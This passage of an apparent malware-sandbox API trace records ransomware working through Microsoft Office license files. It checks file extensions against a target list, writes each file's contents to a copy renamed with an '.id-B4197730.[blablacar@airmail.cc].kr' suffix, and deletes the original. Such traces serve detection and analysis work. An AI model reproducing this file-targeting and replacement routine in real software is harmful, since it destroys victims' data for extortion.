Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.873] lstrlenW (lpString=".zip") returned 4 [0195.873] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.873] lstrlenW (lpString=".rar") returned 4 [0195.873] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.873] lstrlenW (lpString=".bz2") returned 4 [0195.873] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.873] lstrlenW (lpString=".7z") returned 3 [0195.873] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.873] lstrlenW (lpString=".dbf") returned 4 [0195.873] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.873] lstrlenW (lpString=".1cd") returned 4 [0195.873] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.873] lstrlenW (lpString=".jpg") returned 4 [0195.873] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.873] lstrlenW (lpString=".doc") returned 4 [0195.873] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.873] lstrlenW (lpString=".docx") returned 5 [0195.873] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.873] lstrlenW (lpString=".pdf") returned 4 [0195.873] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.874] lstrlenW (lpString=".xls") returned 4 [0195.874] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.874] lstrlenW (lpString=".xlsx") returned 5 [0195.874] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.874] lstrlenW (lpString=".ppt") returned 4 [0195.874] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.874] lstrlenW (lpString=".zip") returned 4 [0195.874] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.874] lstrlenW (lpString=".rar") returned 4 [0195.874] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.874] lstrlenW (lpString=".bz2") returned 4 [0195.874] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.874] lstrlenW (lpString=".7z") returned 3 [0195.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.874] lstrlenW (lpString=".dbf") returned 4 [0195.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.874] lstrlenW (lpString=".1cd") returned 4 [0195.874] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.874] lstrlenW (lpString=".jpg") returned 4 [0195.874] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.874] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.874] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 33 [0195.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.876] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10667) returned 1 [0195.876] CloseHandle (hObject=0x518) returned 1 [0195.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220 [0195.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.876] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.876] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.877] GetLastError () returned 0x0 [0195.877] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0196.030] WriteFile (in: hFile=0x544, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0196.047] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.047] WriteFile (in: hFile=0x544, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x116, lpOverlapped=0x0) returned 1 [0196.047] SetEndOfFile (hFile=0x544) returned 1 [0196.048] CloseHandle (hObject=0x544) returned 1 [0196.048] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.048] SetEndOfFile (hFile=0x518) returned 1 [0196.052] CloseHandle (hObject=0x518) returned 1 [0196.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1 [0196.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.054] lstrlenW (lpString=".doc") returned 4 [0196.054] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.054] lstrlenW (lpString=".docx") returned 5 [0196.054] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.054] lstrlenW (lpString=".pdf") returned 4 [0196.054] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.054] lstrlenW (lpString=".xls") returned 4 [0196.054] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.054] lstrlenW (lpString=".xlsx") returned 5 [0196.054] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.054] lstrlenW (lpString=".ppt") returned 4 [0196.054] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.054] lstrlenW (lpString=".zip") returned 4 [0196.054] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.054] lstrlenW (lpString=".rar") returned 4 [0196.054] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.054] lstrlenW (lpString=".bz2") returned 4 [0196.054] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.054] lstrlenW (lpString=".7z") returned 3 [0196.054] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.055] lstrlenW (lpString=".dbf") returned 4 [0196.055] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.055] lstrlenW (lpString=".1cd") returned 4 [0196.055] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.055] lstrlenW (lpString=".jpg") returned 4 [0196.055] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.055] lstrlenW (lpString=".doc") returned 4 [0196.055] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.055] lstrlenW (lpString=".docx") returned 5 [0196.055] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.055] lstrlenW (lpString=".pdf") returned 4 [0196.055] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.055] lstrlenW (lpString=".xls") returned 4 [0196.055] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.055] lstrlenW (lpString=".xlsx") returned 5 [0196.055] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.055] lstrlenW (lpString=".ppt") returned 4 [0196.056] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.056] lstrlenW (lpString=".zip") returned 4 [0196.056] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.056] lstrlenW (lpString=".rar") returned 4 [0196.056] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.056] lstrlenW (lpString=".bz2") returned 4 [0196.056] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.056] lstrlenW (lpString=".7z") returned 3 [0196.056] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.056] lstrlenW (lpString=".dbf") returned 4 [0196.056] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.056] lstrlenW (lpString=".1cd") returned 4 [0196.056] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0196.056] lstrlenW (lpString=".jpg") returned 4 [0196.056] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.056] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.056] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 37 [0196.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0196.057] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11621) returned 1 [0196.057] CloseHandle (hObject=0x518) returned 1 [0196.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220 [0196.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0196.058] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.058] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0196.059] GetLastError () returned 0x0 [0196.059] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0196.062] WriteFile (in: hFile=0x544, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0196.063] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.063] WriteFile (in: hFile=0x544, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11e, lpOverlapped=0x0) returned 1 [0196.063] SetEndOfFile (hFile=0x544) returned 1 [0196.063] CloseHandle (hObject=0x544) returned 1 [0196.063] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.063] SetEndOfFile (hFile=0x518) returned 1 [0196.067] CloseHandle (hObject=0x518) returned 1 [0196.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1 [0196.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.068] lstrlenW (lpString=".doc") returned 4 [0196.068] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.068] lstrlenW (lpString=".docx") returned 5 [0196.068] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.068] lstrlenW (lpString=".pdf") returned 4 [0196.068] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.068] lstrlenW (lpString=".xls") returned 4 [0196.068] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.068] lstrlenW (lpString=".xlsx") returned 5 [0196.068] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.068] lstrlenW (lpString=".ppt") returned 4 [0196.068] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.068] lstrlenW (lpString=".zip") returned 4 [0196.068] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.068] lstrlenW (lpString=".rar") returned 4 [0196.068] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.069] lstrlenW (lpString=".bz2") returned 4 [0196.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.069] lstrlenW (lpString=".7z") returned 3 [0196.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.069] lstrlenW (lpString=".dbf") returned 4 [0196.069] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.069] lstrlenW (lpString=".1cd") returned 4 [0196.069] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.069] lstrlenW (lpString=".jpg") returned 4 [0196.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.069] lstrlenW (lpString=".doc") returned 4 [0196.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.069] lstrlenW (lpString=".docx") returned 5 [0196.069] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.069] lstrlenW (lpString=".pdf") returned 4 [0196.069] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.069] lstrlenW (lpString=".xls") returned 4 [0196.069] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.069] lstrlenW (lpString=".xlsx") returned 5 [0196.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.070] lstrlenW (lpString=".ppt") returned 4 [0196.070] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.070] lstrlenW (lpString=".zip") returned 4 [0196.070] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.070] lstrlenW (lpString=".rar") returned 4 [0196.070] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.070] lstrlenW (lpString=".bz2") returned 4 [0196.070] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.070] lstrlenW (lpString=".7z") returned 3 [0196.070] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.070] lstrlenW (lpString=".dbf") returned 4 [0196.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.070] lstrlenW (lpString=".1cd") returned 4 [0196.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0196.070] lstrlenW (lpString=".jpg") returned 4 [0196.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.070] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.070] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 37 [0196.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0196.071] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19966) returned 1 [0196.071] CloseHandle (hObject=0x518) returned 1 [0196.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220 [0196.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0196.072] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.072] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0196.082] GetLastError () returned 0x0 [0196.082] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0196.084] WriteFile (in: hFile=0x544, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0196.086] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.086] WriteFile (in: hFile=0x544, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11e, lpOverlapped=0x0) returned 1 [0196.086] SetEndOfFile (hFile=0x544) returned 1 [0196.086] CloseHandle (hObject=0x544) returned 1 [0196.086] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.086] SetEndOfFile (hFile=0x518) returned 1 [0196.246] CloseHandle (hObject=0x518) returned 1 [0196.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program 